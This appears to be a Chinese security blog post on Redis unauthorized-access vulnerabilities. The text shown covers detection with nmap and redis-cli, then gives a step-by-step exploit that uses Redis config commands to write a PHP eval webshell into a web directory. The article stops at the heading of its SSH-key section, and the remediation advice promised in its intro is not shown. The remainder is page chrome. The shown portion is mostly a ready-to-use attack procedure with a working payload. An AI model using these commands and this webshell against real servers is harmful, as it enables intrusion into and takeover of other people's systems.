Redis 未授权访问漏洞利用及修复

本文详细介绍了Redis数据库存在的安全风险,包括未授权访问、网站写马、SSH免密码登陆、利用计划任务反弹shell以及主从复制RCE等攻击方式。同时,提供了检测方法和修复建议,如修改配置文件、设置访问密码、限制网络访问等,强调了保护authorized_keys文件的重要性。

漏洞简述

        Redis 是一个高性能的 Key - Value 数据库。Redis 的出现很大程度上弥补了 memcached 这类 Key/Value 存储的不足在部分场合可以对关系数据库起到很好的补充作用。Redis 默认情况下会绑定在 0.0.0.0:6379这样会将 Redis 服务暴露到公网上。在没有开启认证的情况下会导致任意用户在可以访问目标服务器的情况下未经授权就访问到 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法成功地在 Redis 服务器上写入公钥进而可以使用对应私钥直接登录目标服务器。

检测方法

  • 先用 nmap 扫描查看端口开放情况发现开放的 6379 端口为 Redis 的默认端口
Nmap -A -p 6379 --script redis-info 192.168.10.153
  • Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞具体命令如下
./redis-cli -h 192.168.10.153
Info
  • 批量检测脚本
https://github.com/code-scan/rescan
  • 就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。

漏洞利用

1、网站写马

利用条件:
  • 目标存在web目录
  • 已知web绝对路径
  • 存在写入权限
  • 适用范围:windows,linux版本。
  • ① 先用客户端连接服务器的 redis 服务
redis-cli.exe -h 目标IP
  • ② 连接后设置目录
config set dir /var/www/html    //此路径是服务器端 Web 网站的目录
  • ③ 设置要写入的文件名
config set dbfilename redis88.php      //redis88.php是一句话文件名称
  • ④ 设置要写入的内容
set webshell "<?php @eval($_POST['123']); ?>"      //webshell是名称,可以任意修改
  • ⑤ 保存
save
  • ⑥ 保存后用菜刀连接此木马得到 webshell。

2、结合ssh免密码登陆

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值